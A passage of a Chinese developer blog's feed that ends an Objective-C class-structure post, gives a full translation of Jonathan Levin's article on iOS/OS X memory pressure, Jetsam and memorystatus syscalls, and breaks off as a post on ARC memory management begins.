class="identifier">come</span>]</span>;</span><br><span class="line">    </span><br><span class="line">    &#125;</span><br><span class="line">    return <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>在 <code>[x1 performSelector:come];</code> 处下断点：</p>
<p><img src="/images/2017-04-12-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-Objective-C-%E4%B8%AD%E7%9A%84%E7%B1%BB%E7%BB%93%E6%9E%84/%E5%9B%BE14.png"></p>
<p>打印 class_rw_t * 指针的地址，可以看到 methods 的指针为 <code>0x100802051</code>，地址末尾为1，标明这是 thumb 架构，打印的时候减1即可。通过 <code>$3</code> 可以看见，直接强制转换为 method_list_t * 指针，并不能打印处方法的地址。我们打印 <code>0x100802050</code> 处的内存，可以看到首先是 <code>0x2</code>，这是标明当前方法列表的数目，<code>0x100802030</code> 即是动态增加的方法列表的指针，<code>0x100002478</code> 是 ro.baseMethodList 的指针：</p>
<p><img src="/images/2017-04-12-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-Objective-C-%E4%B8%AD%E7%9A%84%E7%B1%BB%E7%BB%93%E6%9E%84/%E5%9B%BE15.png"></p>
<p><img src="/images/2017-04-12-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-Objective-C-%E4%B8%AD%E7%9A%84%E7%B1%BB%E7%BB%93%E6%9E%84/%E5%9B%BE16.png"></p>
<p>所以，<strong>动态添加的方法只修该 rw 中 methods 的内存布局</strong>，对编译期间就确定的 ro 中的 baseMethodList 没有影响。 <strong>ro 的结构是在编译期确定的，在运行期间不可更改</strong>。</p>
<hr>
<h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p>[1] 深入解析 ObjC 中方法的结构　<a href="http://draveness.me/method-struct.html">http://draveness.me/method-struct.html</a><br>[2] 从 NSObject 的初始化了解 isa　<a href="http://draveness.me/isa.html">http://draveness.me/isa.html</a><br>[3] 用 isa 承载对象的类信息　<a href="http://www.desgard.com/isa/">http://www.desgard.com/isa/</a><br>[4] 我们的对象会经历什么　<a href="http://www.jianshu.com/p/ff8a7c458c96">http://www.jianshu.com/p/ff8a7c458c96</a></p>
]]></content>
      <categories>
        <category>编程语言语法</category>
      </categories>
  </entry>
  <entry>
    <title>（译）Handling low memory conditions in iOS and Mavericks</title>
    <url>/50ed72f.html</url>
    <content><![CDATA[<blockquote>
<p>翻译自 Jonathan Levin’s site   原文链接：<a href="http://newosxbook.com/articles/MemoryPressure.html">http://newosxbook.com/articles/MemoryPressure.html</a></p>
</blockquote>
<h2 id="About"><a href="#About" class="headerlink" title="About"></a>About</h2><p>OS X 和 iOS 中的内存压力是虚拟内存管理的一个非常重要的方面，在我的书中[<a href="https://amywushu.github.io/2017/05/09/%E8%AF%91-Handling-low-memory-conditions-in-iOS-and-Mavericks.html#references">1]</a>已经有了一些介绍。 我提到的 Jetsam/memorystatus 机制，已经随着时间的推移发生了重大变化，最终形成了最近在 Mavericks 中引入的一些非常重要的系统机制和系统调用。 在使用我的 OS X 和 iOS 的Process Explorer 时，我遇到了这些新增加的问题，因此在这里记录。 这是作为本书第12章的补充，当然也可以单独阅读。</p>
<a id="more"></a>

<h3 id="Why-should-you-care-Target-Audience"><a href="#Why-should-you-care-Target-Audience" class="headerlink" title="Why should you care? (Target Audience)"></a>Why should you care? (Target Audience)</h3><p>物理内存（RAM），是 CPU 的另一个方面，也是系统中最稀少的资源，是最有可能导致竞争的资源，因此 apps 争夺每一个有效的 bit。应用程序的内存与性能直接相关 - 通常是以别人的为代价。 在 iOS 中，没有能够交换内存的交换空间，这使得内存资源更为重要。 本文旨在让您下次调用 malloc() 或 mmap() 之前再三考虑，以及阐明 iOS 上最常见的崩溃原因 -低系统内存的原因。</p>
<h2 id="Prerequisite-Virtual-Memory-in-a-nutshell"><a href="#Prerequisite-Virtual-Memory-in-a-nutshell" class="headerlink" title="Prerequisite: Virtual Memory in a nutshell"></a>Prerequisite: Virtual Memory in a nutshell</h2><p>无论一个应用程序是如何编程的，它都必须在内存空间中运行。 这个空间是一个应用程序可以控制自己的代码，数据和状态的地方。 当然，如果这样一个空间与其他应用程序隔离，这是非常有益的，因为提供了更好的安全性和稳定性。 我们将这个空间称为应用程序的虚拟内存，它是应用程序的一个定义特性之一：应用程序的所有线程将共享相同的虚拟内存空间，也因此被定义为处于同一进程。</p>
<p>虚拟内存中的术语“虚拟”意味着存储器空间虽然与所讨论的进程有很大关系，但并不完全对应于系统里的实际内存。 这表现在几个方面：</p>
<ul>
<li>虚拟内存空间可以超过可用的实际内存量 - 取决于所讨论的处理器字大小和操作系统，虚拟内存空间可高达4GB（32位）或256TB（64位）[<a href="https://amywushu.github.io/2017/05/09/%E8%AF%91-Handling-low-memory-conditions-in-iOS-and-Mavericks.html#footnotes">1]</a>。这，尤其在后一种情况下，可以远远超出现有的可用内存量。</li>
<li>实际上，虚拟内存并不存在：给出如此巨大的超过物理内存支持能力的内存空间，只有当应用程序明确请求内存（即分配），系统才会为支持的虚拟内存映射物理内存。因此，一个进程的虚拟内存的影像是非常稀疏的，在内存中就像在一片浩瀚的虚空海洋中的“孤岛”。</li>
<li>即使分配了，虚拟内存可能仍然是虚拟的： - 当你调用malloc(3) 时，并不意味着系统会跳转并找到相应数量的RAM来实质地分配你的内存。大多数情况下，程序员的分配远远超过他们所需要的。因此，malloc(3) 操作，只分配页表入口（entries），很少分配内存本身。实际上，当访问内存时（比如说 memset(3)），才会导致物理分配。</li>
<li>系统可以备份内存到磁盘或网络上 - 也称为“交换”内存到后台存储。 OS X 一般使用交换文件（在/var/vm中）。iOS没有交换机制。</li>
<li>您使用的虚拟内存可能共享或不共享 - 操作系统保留使用与其他进程隐式共享你的虚拟内存的权限。这适用于使用文件备份的内存（即通过调用 mmap(2) 声明的内存）。如果你的进程和另一个进程 mmap(2) 相同的文件，操作系统可以给你们每个进程一份你的私有虚拟副本，但实际上是同一个物理副本。上述物理副本将被标记为不可写。只要每个进程都只是从内存中读取，那么一份就足够了。然而，如果任何人向这样的隐式共享内存写入，写入过程将触发页面错误，这将导致内核执行一个 Copy-On-Write 机制（COW），从而产生一个可以修改内容的新物理副本。</li>
</ul>
<p>把上面总结一下，我们可以得到以下“公式”：</p>
<figure class="highlight angelscript"><table><tr><td class="code"><pre><span class="line">  VSS = RSS + LSS + SwSS  </span><br><span class="line">各项含义：   </span><br><span class="line">VSS　　虚拟大小，由top，ps(<span class="number">1</span>) 和其他的命令可以看到   </span><br><span class="line">RSS　　驻留大小 - 进程的实际RAM占用空间。 也可以在 top(<span class="number">1</span>)，ps(<span class="number">1</span>) 等中显示   </span><br><span class="line">LSS 　　“Lazy” 大小 - 系统同意分配但尚未分配的内存   </span><br><span class="line">SwSS　　“交换”大小 - 以前在RAM中但被推出交换的内存。在 iOS 中，一直为<span class="number">0</span>　　　　</span><br></pre></td></tr></table></figure>

<p>以上所有的东西可以通过一个简单的例子清楚地展示 - 在任一进程中使用 vmmap(1)，这里以 shell 本身为例：</p>
<p><img src="/images/2017-05-09-%E8%AF%91-Handling-low-memory-conditions-in-iOS-and-Mavericks/%E5%9B%BE%E7%89%871.png"></p>
<p><img src="/images/2017-05-09-%E8%AF%91-Handling-low-memory-conditions-in-iOS-and-Mavericks/%E5%9B%BE%E7%89%872.png"></p>
<p><strong>术语</strong><br>在本文中，使用以下术语：</p>
<ul>
<li>Page - 内存管理的基本单元。在 Intel 和 ARM 中，通常为4k（4096），在 ARM64 中通常为16K。您可以使用 OS X 上的 pagesize(1) 命令（或任何一个操作系统上的 sysctl hw.pagesize）来确定默认页面大小是多少。英特尔架构支持超级页面（8k）和巨大页面（2MB），但在实践中，这些页面相对较少。</li>
<li>Phsyical Memory/RAM - 安装在主机（Mac 或 i-Device）上的有限数量的内存。你可以使用 <code>hostinfo(1)</code> 命令获取这个值。</li>
<li>Virtual Memory - 由程序或系统本身分配的内存，通常是通过调用 <code>malloc(3)，mmap(2)</code> 或更高级别的调用（例如Objective-C 的 [alloc]等）分配。虚拟内存可能是私有的（由单个进程所有）或共享的（由2+进程所有）。共享内存可以是明确地或隐式地共享。</li>
<li>Page Fault - 当内存管理单元（MMU）检测到违规访问虚拟内存时，即发生以下情况之一：<ul>
<li>访问未分配的内存：取值一个之前未被分配的内存指针 - XNU将其转换为一个 EXC_BAD_ACCESS 异常，并且进程将接收到分段错误（SIGSEGV，Signal#11）。</li>
<li>访问已分配但未提交的内存：取值一个先前已分配但尚未使用的内存指针（或相应的madvise(2)） - XNU拦截，并意识到它不能再等待，必须分配物理页。当分配页面时，将冻结导致故障的线程。</li>
<li>访问内存但不符合其权限：内存页面以与标准 UNIX 文件权限相似的方式受 r/w/x 保护。尝试写入只读目标（r–或rx）将导致页面错误，XNU 将其转换为总线故障（SIGBUS，Signal#7）或强制执行 Copy-On-Write（COW）操作（如果是隐式共享的）。</li>
</ul>
</li>
</ul>
<p><strong>工具</strong><br>苹果提供了几个重要的工具来检查虚拟内存：</p>
<ul>
<li>vmmap(1) - 检查单个进程的虚拟内存，以类似于Linux 以 /proc/<pid>/maps 的方式布局其 “map”。</li>
<li>vm_stat(1) - 从系统范围的角度提供有关虚拟内存的统计信息。 这实际上只是一个调用 Mach host_statistics64 API 的封装器，打印出 vm_statistics64_t（来自&lt;mach/vm_statistics.h&gt;）。</li>
<li>top(1) - 提供与性能有关的全系统以及每个进程的统计信息。 在其中，MemRegions，PhysMem 和 VM 统计信息涉及虚拟内存。<br>我厚脸皮地在这里推广一下自己的工具，process explorer （procexp），它提供了（IMHO）比 top(1) 更好的功能（包括更丰富的内存统计）。</li>
</ul>
<h2 id="Memory-Pressure"><a href="#Memory-Pressure" class="headerlink" title="Memory Pressure"></a>Memory Pressure</h2><p>Mach 层内部有两个计数器定义内存压力：</p>
<ul>
<li>vm_page_free_count：目前有多少页 RAM 是空闲的</li>
<li>vm_page_free_target：至少有多少页 RAM 应该被释放。<br>你可以使用 sysctl 轻松查看这些：</li>
</ul>
<p><img src="/images/2017-05-09-%E8%AF%91-Handling-low-memory-conditions-in-iOS-and-Mavericks/%E5%9B%BE%E7%89%873.png"></p>
<p>如果空闲页面的数量低于目标数量 - 也就是有内存压力的情况（当然还有其他潜在的情况，但为了简化起见我省略了这些 [<a href="https://amywushu.github.io/2017/05/09/%E8%AF%91-Handling-low-memory-conditions-in-iOS-and-Mavericks.html#footnotes">2]</a>）。你也可以使用 sysctl(8) 来查询 <code>vm.memory_pressure</code> 的值。在 OS X 10.9 及更高版本中，你也可以查询 <code>kern.memorystatus_vm_pressure_level</code>，其值为 1（NORMAL），2（WARN）或 4（CRITICAL）</p>
<p>在内核初始化之后，主线程变为 vm_pageout，并产生一个专用的线程，并被贴切地叫做 vm_pressure_thread，用来监测压力事件。这个线程是空转的（阻塞自己）。当检测到压力时，线程将被 vm_pageout 唤醒。这种行为已在 XNU 2422/3（OSX 10.9/iOS 7）中修改（最显著的是转移到了 vm_pressure_response 中封装）。</p>
<p>只有当 VM_PRESSURE_EVENTS 是 #define 的时候，压力处理才会被编译到 XNU 中。如果不是（比如，自定义编译），vm_pressure_thread 在2050 版本中什么都不做，甚至在 2422/3 中也不会开始。此外，在iOS内核中，定义 CONFIG_JETSAM 会更频繁地将内存处理调度到 memorystatus 线程以及更新其计数器（稍后会讲）来更改某些行为。</p>
<h3 id="mach-vm-pressure-monitor"><a href="#mach-vm-pressure-monitor" class="headerlink" title="[mach]_vm_pressure_monitor"></a>[mach]_vm_pressure_monitor</h3><p>XNU 导出未记录的系统调用#296，vm_pressure_monitor（bsd/vm/vm_unix.c），它是 mach_vm_pressure_monitor（osfmk/vm/vm_pageout.c）以上的一个封装器。系统调用（以及相应的内部 Mach 调用）定义如下：</p>
<blockquote>
<p>int vm_pressure_monitor（int wait_for_pressure，int nsecs_monitored，uint32_t * pages_reclaimed）;</p>
</blockquote>
<p>这个调用将立即返回或者阻塞（当 <code>wait_for_pressure</code> 不为零时）。它将返回 page_reclaimed 在 nsecs_monitored 的计数中释放了多少个物理页面（并不是真的循环迭代那么多的 nsecs）。其返回值表示需要提供多少页面（上面的sysctl(8) 输出中的 <code>vm.page_free_wanted</code>）。调用系统调用很简单，而且不需要 root 权限。 （再次重复，您也可以使用sysctl(8) 来查询 <code>vm.memory_pressure</code>，尽管这个操作不会等待内存压力）。</p>
<p>您可以使用 “vmmon” 参数运行 process explorer 来尝试这个系统调用（否则，process explorer 将在交互模式下在单独的线程中执行此操作，以显示压力警告）。指定 “oneshot” 的附加参数将会在不等待压力的情况下直接调用。否则，调用将等待，直到检测到压力：</p>
<p><img src="/images/2017-05-09-%E8%AF%91-Handling-low-memory-conditions-in-iOS-and-Mavericks/%E5%9B%BE%E7%89%874.png"></p>
<p>但是系统实际上是如何收回内存的？对于此，需要涉及到 memorystatus。</p>
<h2 id="MemoryStatus-and-Jetsam"><a href="#MemoryStatus-and-Jetsam" class="headerlink" title="MemoryStatus and Jetsam"></a>MemoryStatus and Jetsam</h2><p>当 XNU 移植到 iOS 时，苹果遇到了移动设备限制引起的重大挑战 - 没有交换空间。与桌面相比，虚拟内存可以“溢出”到外部存储器，在这里并不适用（主要是由于闪存的限制）。因此，内存已经成为一个更重要（更稀缺）的资源。</p>
<p>引入：MemoryStatus。最初在 iOS 中引入的这种机制是一个内核线程，负责处理低 RAM 事件，以 iOS 认为可能的唯一方式：丢弃（弹出）尽可能多的RAM，为应用程序释放内存 - 即使当这种方式意味着杀死应用程序。这就是 iOS 的 jetsam 机制，可以在 XNU 源代码中看到 <code>#if CONFIG_JETSAM</code> 编译选项。在 OS X 中，memorystatus 代表的不是 kill，而是那些标记为空闲退出的进程，这是一种更温和的方式，更适合于桌面环境[<a href="https://amywushu.github.io/2017/05/09/%E8%AF%91-Handling-low-memory-conditions-in-iOS-and-Mavericks.html#footnotes">3]</a>。 使用 dmesg，以及 grep 可以看到 memorystatus 的操作：</p>
<p><img src="/images/2017-05-09-%E8%AF%91-Handling-low-memory-conditions-in-iOS-and-Mavericks/%E5%9B%BE%E7%89%875.png"></p>
<p>memorystatus 线程是一个单独的线程（也就是不直接与 vm_pressure_thread 相关），它在XNU的 BSD 部分启动（通过在 <code>bsd/kern/bsd_init.c</code> 中调用 <code>memorystatus_init</code>）。如果定义了 CONFIG_JETSAM（iOS），memorystatus 会启动另一个线程 <code>memorystatus_jetsam_thread</code>，它大部分时间在阻塞循环中运行，当memorystatus_available_pages &lt;= memorystatus_available_pages_critical 时被唤醒，杀死处于 memory list 中最上方的进程，然后再次阻塞。</p>
<p>在 iOS 中，memorystatus/jetsam 不会打印消息，但肯定会在 <code>/Library/Logs/CrashReporter/LowMemory-YYYY-MM-DD-hhmmss.plist</code> 中留下其杀死程序的痕迹 - 这些日志由 CrashReporter 生成，类似于包含了 dump 的崩溃日志。如果你有越狱设备，一个简单的方法可以强制 jetsam 大规模执行，运行一个小的二进制文件，不停的分配和 memset() 大小为8MB 的内存块（这个留给感兴趣的读者练习），然后运行它。你将会看到应用程序死亡，直到这个犯规的二进制文件（最终）被杀死。日志将看起来像这样：</p>
<p><img src="/images/2017-05-09-%E8%AF%91-Handling-low-memory-conditions-in-iOS-and-Mavericks/%E5%9B%BE%E7%89%876.png"></p>
<p><img src="/images/2017-05-09-%E8%AF%91-Handling-low-memory-conditions-in-iOS-and-Mavericks/%E5%9B%BE%E7%89%877.png"></p>
<p>（请注意，您可以在非越狱设备上执行此操作，如果您已将其配置为开发用，您可以在 Objective-C 中创建一个简单的 iOS 应用程序，并执行相同的分配，然后通过 XCode 的 Organizer 收集日志） 。</p>
<p>应该注意的是，Jetsam 无情地彻底杀死一个进程，并非罕见：Linux（以及它的继承者，Android）在 “OOM”（out-of-memory）killer 中有一个类似的机制，它持有了每个进程的（可能是可调整的）分数，当遇到内存不足时，杀死高分数进程。在桌面 Linux 中，OOM 在系统交换空间耗尽时唤醒；在 Android 中，要更早一点，当 RAM 运行内存较低时就被唤醒。Android 的方法是得分驱动（该分数实际上是一种启发式方法，取决于使用了多少 RAM，以及怎样的频率），而 iOS 的方法是基于优先级的。</p>
<p>从 XNU 2423 开始，Jetsam 使用了一种 “priority bands”（参见 &lt;sys/kern_memorystatus.h&gt; JETSAM_PRIORITY 常量），也就是说 jetsam 跟踪的进程被维护在内核空间（memstat_bucket）的21个链表的数组中。Jetsam 将选择最低优先级元（以0或 JETSAM_PRIORITY_IDLE 开头）的第一个进程，如果当前优先级为空（参考 memorystatus_get_first_proc_locked，在bsd/kern/kern_memorystatus.c 中），则顺移至下一个优先级列表。进程的默认优先级为18，允许 jetsam 选择空闲和后台进程，这些进程的顺序排在交互式和可能重要的进程之前。如下图所示：</p>
<p><img src="/images/2017-05-09-%E8%AF%91-Handling-low-memory-conditions-in-iOS-and-Mavericks/%E5%9B%BE%E7%89%878.png"></p>
<p>Jetsam 还有另一种操作方式，它设置进程内存的 “high water mark”，并且将彻底杀死超过其 HWM 的进程。 当一个任务的 RSS 内存超过系统范围限制时，Jetsam 中的 HWM 模式就会被触发（更准确地说，是任务的 phys_footprint 内存，其中包括 RSS，也包括 compressed 和 I/O Kit 相关的内存）。 HWM 可以通过 memorystatus_control 操作 #5（MEMORYSTATUS_CMD_SET_JETSAM_HIGH_WATER_MARK，稍后讨论）来设置 。</p>
<p>在 iOS 上，Launchd 可以设置 jetsam 的优先级。 之前这个操作是在每个守护进程的基础文件（也就是在它的 plist 文件）中完成的。 现在看来，这些设置已被移至 com.apple.jetsamproperties.<em>model</em>.plist（例如 N51(5s)，J71(iPad Air)等）。 如下：</p>
<figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dict</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">key</span>&gt;</span>CachedDefaults<span class="tag">&lt;/<span class="name">key</span>&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- Array of dict entries, with key being daemon name e.g. --&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">dict</span>&gt;</span></span><br><span class="line"></span><br><span class="line">                <span class="tag">&lt;<span class="name">key</span>&gt;</span>com.apple.usb.networking.addNetworkInterface<span class="tag">&lt;/<span class="name">key</span>&gt;</span> </span><br><span class="line">                <span class="tag">&lt;<span class="name">dict</span>&gt;</span></span><br><span class="line">                        <span class="tag">&lt;<span class="name">key</span>&gt;</span>JetsamMemoryLimit<span class="tag">&lt;/<span class="name">key</span>&gt;</span></span><br><span class="line">                        <span class="tag">&lt;<span class="name">integer</span>&gt;</span>integer&gt;6<span class="tag">&lt;/<span class="name">integer</span>&gt;</span></span><br><span class="line">                        <span class="tag">&lt;<span class="name">key</span>&gt;</span>JetsamPriority<span class="tag">&lt;/<span class="name">key</span>&gt;</span> </span><br><span class="line">                        <span class="tag">&lt;<span class="name">integer</span>&gt;</span>integer&gt;3<span class="tag">&lt;/<span class="name">integer</span>&gt;</span></span><br><span class="line">                        <span class="tag">&lt;<span class="name">key</span>&gt;</span>WellBehaved<span class="tag">&lt;/<span class="name">key</span>&gt;</span> </span><br><span class="line">                        <span class="tag">&lt;<span class="name">true</span>/&gt;</span></span><br><span class="line">                <span class="tag">&lt;/<span class="name">dict</span>&gt;</span></span><br><span class="line">..</span><br></pre></td></tr></table></figure>

<p>由于 RAM 消耗而彻底杀死一个进程可能看起来过于苛刻，但对于缺乏交换机制的系统来说，实际上能做的非常少。在 Jetsam 杀死一个进程之前，memorystatus 允许进程“挽回自身”，避免不合适的终止，可以通过获取 memorystatus 线程首先向作为终止的“候选”进程发送一个 kernel note（又称 kevent） 。这个 knote（<code>NOTE_VM_PRESSURE，&lt;sys/event.h&gt;</code>）将被 EVFILT_VM kevent() 过滤器拾取，就像 UIKit 把它转换为 <code>didReceieveMemoryWarning</code> 通知一样，这无疑是 iOS App 开发人员所熟悉的（也被其讨厌）。Darwin 的 libC 和 GCD 也加入了内存压力处理程序，具体如下：</p>
<ul>
<li>Darwin 的 LibC（&lt;malloc/malloc.h&gt;）定义了一个 <code>malloc_zone_pressure_relief</code>（从 OSX 10.7/iOS 4.3 开始）</li>
<li>LibCache（&lt;cache.h&gt;）定义了缓存成本（对于 cache_set_and_retain），允许发生压力事件时自动清除缓存。</li>
<li>GCD（&lt;dispatch/source.h&gt;）定义了 <code>DISPATCH_SOURCE_TYPE_MEMORYPRESSURE</code>（从OSX 10.9 起）</li>
</ul>
<p>一般来说，注册了内存压力的应用程序（直接通过 Darwin API 或间接通过 UIKit）应该减少其缓存和潜在的不需要的内存（应该注意的是，遍历内存结构可能导致页面错误，会加剧内存压力）。 UIKit 是不开源的，但是当 UIApplication 遇到内存警告时，jtool 提供了一个很好的反汇编来演示它的行为：</p>
<p><img src="/images/2017-05-09-%E8%AF%91-Handling-low-memory-conditions-in-iOS-and-Mavericks/%E5%9B%BE%E7%89%879.png"></p>
<p>然而有时候，释放内存可能不足以缓解内存压力。 大多数情况下，释放的内存可能很快被另一个不愿意释放它的应用程序占用。 在这些情况下，最后的手段是杀死潜在候选人列表中最上方的进程 - 所以 Jetsam 出现了。</p>
<p><strong>Controlling memorystatus</strong></p>
<p>一个线程可以随意地决定杀死进程可能有点危险。因此，苹果使用几种API来“统治”Jetsam/memorystatus。当然，这些都是私有的和无文档记录的（如果在应用程序中使用它们，苹果可能会 kill 你的开发人员帐户），它们是：</p>
<ul>
<li>使用 sysctl kern.memorystatus_jetsam_change：可以从用户空间更改 Jetsam 的优先级列表。这有点像 Linux 的 oom_adj，它允许进程通过指定负调整数（有效地降低它们的分数）来逃避 OOM 的惩罚。同样，在 iOS 中，launchd（启动所有应用程序的进程）可以设置 Jetsam 优先级列表。 （例如，参考 com.apple.voiced.plist，它指定 JetSamMemoryLimit(8000) 和 JetsamPriority(-49) ），sysctl 内部调用memorystatus_list_change（在 bsd/kern/kern_memorystatus.c 中），它会再次设置优先级和状态标志（active，foreground 等）。 - 跟 Linux 类似，在这种情况下，Android的处理机制是 “Low Memory Killer”（在运行时可以根据应用程序/活动的前台状态来调整 OOM_ADJ，因此更喜欢首先杀死后台应用程序）。这种方法可以运行到 iOS 6.x。</li>
<li>使用 memorystatus_control(#440) 系统调用：在 xnu 2107 某处（即早在 iOS 6 而不是直到 OS X 10.9）中介绍，这个（无文档记录的）系统调用能够通过使用几个“命令”之一，来控制 memorystatus 和 jetsam（后者在 iOS 上），如下表所示：</li>
</ul>
<table>
<thead>
<tr>
<th align="left"><strong>MEMORYSTATUS_CMD_ const</strong></th>
<th align="left"><strong>availability</strong></th>
<th align="left"><strong>usage</strong></th>
</tr>
</thead>
<tbody><tr>
<td align="left">GET_PRIORITY_LIST (1)</td>
<td align="left">OS X 10.9, iOS 6+</td>
<td align="left">Get priority list - array of memorystatus_priority_entry from &lt;sys/kern_memorystatus.h&gt; Example code can be seen <a href="http://newosxbook.com/src.jl?tree=listings&file=mslist.c">Here</a></td>
</tr>
<tr>
<td align="left">SET_PRIORITY_PROPERTIES (2)</td>
<td align="left">iOS only (or CONFIG_JETSAM)</td>
<td align="left">Update properties for a given proess</td>
</tr>
<tr>
<td align="left">GET_JETSAM_SNAPSHOT (3)</td>
<td align="left">iOS only (or CONFIG_JETSAM)</td>
<td align="left">Get Jetsam snapshot - array of memorystatus_jetsam_snapshot_t entries (from &lt;sys/kern_memorystatus.h&gt;</td>
</tr>
<tr>
<td align="left">GET_PRESSURE_STATUS (4)</td>
<td align="left">iOS (or CONFIG_JETSAM)</td>
<td align="left">Privileged call: returns 1 if memorystatus_vm_pressure_level is not normal</td>
</tr>
<tr>
<td align="left">SET_JETSAM_HIGH_WATER_MARK (5)</td>
<td align="left">iOS (or CONFIG_JETSAM)</td>
<td align="left">Sets the maximum memory utilization for a given PID, after which it may be killed. Used by launchd for processes with a memory limit）</td>
</tr>
<tr>
<td align="left">SET_JETSAM_TASK_LIMIT (6)</td>
<td align="left">iOS 8 (or CONFIG_JETSAM)</td>
<td align="left">Sets the maximum memory utilization for a given PID, after which it <strong>will</strong> be killed. Used by launchd for processes with a memory limit</td>
</tr>
<tr>
<td align="left">SET_MEMLIMIT_PROPERTIES (7)</td>
<td align="left">iOS 9 (or CONFIG_JETSAM)</td>
<td align="left">Sets memory limits + attributes</td>
</tr>
<tr>
<td align="left">GET_MEMLIMIT_PROPERTIES (8)</td>
<td align="left">iOS 9 (or CONFIG_JETSAM)</td>
<td align="left">Retrieves memory limits + attributes</td>
</tr>
<tr>
<td align="left">PRIVILEGED_LISTENER_ENABLE (9)</td>
<td align="left">Xnu-3247 (10.11, iOS 9)</td>
<td align="left">Registers self to receive memory notifications</td>
</tr>
<tr>
<td align="left">PRIVILEGED_LISTENER_DISABLE (10)</td>
<td align="left">Xnu-3247 (10.11, iOS 9)</td>
<td align="left">Stops self receiving memory notifications</td>
</tr>
<tr>
<td align="left">TEST_JETSAM (1000)</td>
<td align="left">CONFIG_JETSAM &amp;&amp; (DEVELOPMENT 或 DEBUG)</td>
<td align="left">Test Jetsam, kill specific processes (Debug/Development kernels only)</td>
</tr>
<tr>
<td align="left">TEST_JETSAM_SORT (1001)</td>
<td align="left">iOS 9 &amp;&amp; (DEVELOPMENT 或 DEBUG)</td>
<td align="left">Test Jetsam sorting (Debug/Development kernels only)</td>
</tr>
<tr>
<td align="left">SET_JETSAM_PANIC_BITS (1001/1002)</td>
<td align="left">CONFIG_JETSAM &amp;&amp; (DEVELOPMENT 或 DEBUG)</td>
<td align="left">Alter Jetsam’s panic settings (Debug/Development kernels only)</td>
</tr>
</tbody></table>
<ul>
<li>使用 posix_spawnattr_setjetsam：来自于 posix_spawnattr 系列的函数，但是没有被记录，仅存在于 iOS 上（这就是 iOS 7 上 launchd 如何处理 Jetsam 的）</li>
<li>使用 sysctl kern.memorypressure_manual_trigger 用于模拟内存压力水平，而不会实际占用内存 - 由 OS X 10.9 的 memory_pressure 实用工具(-S) 使用。 来自&lt;sys/event.h &gt;，NOTE_MEMORYSTATUS_PRESSURE_ [NORMAL | WARN | CRITICAL] 的值。</li>
</ul>
<p><strong>Other memorystatus configurable values:</strong></p>
<ul>
<li>使用 sysctl kern.memorystatus_purge_on_ * 的值（OS X）。这些值不会像 pageout 守护程序那样影响 memorystatus，而是强制它清除warning(2)，urgent(5) 或critica(8) 的值。 将这些值设置为0将清除禁用。</li>
<li>使用 memorystatus_get_level(#453)：该系统调用返回（到 int *）一个介于0到100之间的数字，指定可用内存的百分比。 只是诊断。使用在 Activity Monitor（和我的 Process Explorer）上，以显示 Mavericks 以及之后的版本的内存压力。</li>
</ul>
<p><strong>Ledgers</strong></p>
<p>iOS 在 iOS 5（或5.1？）上重新引入了 ledgers，这个概念也被移植到了 OS X。 我说“重新引入”，是因为这是从开始的 Mach 设计以来， ledgers 已经存在，只是那时还没有真正实现。</p>
<p>ledgers 有助于解决资源利用率过多的问题。 与经典的 UN * X 模型不同（setrlimit(2)，被用户所熟知的 ulimit(1) ），ledgers 具有更细粒度的类似于 QoS 的模型，ledgers 为每个资源的每个时间单位分配一定的配额（RAM，CPU，I/O ），并且以奇怪的方式 “refills”。这允许操作系统提供 leaky-bucket 类型的 QoS 机制，并保证服务水平，如果一个进程超过它的 ledgers ，则会产生一个 Mach 异常（EXC_RESOURCE，#12，如果是内存服务的话）。</p>
<p>今后，苹果将完全转向基于 ledgers 的 RAM 管理机制，这是非常有意义的，尤其是在 iOS 这样一个资源稀缺（并且没有交换机制）的情况下。 Jetsam 将可能会被保留作为最后的手段。</p>
<h2 id="References"><a href="#References" class="headerlink" title="References:"></a>References:</h2><ol>
<li><a href="http://newosxbook.com/articles/...">Mac OS X and iOS Internals, J Levin</a></li>
</ol>
<h2 id="ChangeLog"><a href="#ChangeLog" class="headerlink" title="ChangeLog"></a>ChangeLog</h2><ul>
<li>3/1/2014 - Added jetsam properties plist from iPhone5s, and note about ledgers</li>
<li>2/10/2016 - Added jetsam/memorystatus commands for xnu 32xx (iOS 9, OS X 10.11). Also updated procexp to show mem limits on iOS</li>
</ul>
<h2 id="Footnotes"><a href="#Footnotes" class="headerlink" title="Footnotes"></a>Footnotes</h2><ol>
<li>为了简单阐述，我们忽略了为某些给定进程提供的虚拟内存，实际上只是保留和映射以供内核使用的事实。顺便说一句，对于64位来说，是256TB，是由于硬件限制（加上没有人会真正使用它，更不用说是全64位的16EB）。 Mac OS X 以128-TB的47位（0x7fffffffffff）用做用户空间虚拟内存，最上面的（技术上为 0xffffffff8 …）128TB 为内核保留。</li>
<li>再次声明，为了简化，我并没有说明实际的条件。</li>
<li>我没有考虑空闲降级的过程，也就是说（10.9）进程可能被移动到空闲频段，以便它们成为空闲退出的候选者。 进程可以使用 PROC_INFO_CALL_DIRTYCONTROL 调用 proc_info 让内核跟踪其状态，当“dirty”和“clean”（空闲）自愿允许被杀死时，寻求保护以免被 kill 。与 vproc 机制（&lt;vproc.h&gt;）一起使用。</li>
</ol>
]]></content>
      <categories>
        <category>翻译</category>
      </categories>
  </entry>
  <entry>
    <title>ARC 是如何进行内存管理的</title>
    <url>/cc4dc5e6.html</url>
    <content><![CDATA[<h2 id="基础知识提要"><a href="#基础知识提要" class="headerlink" title="基础知识提要"></a>基础知识提要</h2><p>对于 Objective-C 对象来讲，手动内存管理主要是通过以下方法来进行的：</p>
<ul>
<li>retain ：　　 　使得对象的引用计数+1</li>
<li>release：　　　使得对象的引用计数-1</li>
<li>autorelease：　使得对象的引用计数在 autorelease pool 释放的时候再-1</li>
<li>dealloc：　　　当对象的引用计数为0的时候自动调用，表明对象被释放</li>
</ul>
<p>因为只有 OC 对象是分配在堆上的（其他如 C 语言对象是分配在栈上的），因此也<strong>只有 OC 对象在未开启 ARC 的时候需要我们手动管理内存。</strong></p>
<a id="more"></a>

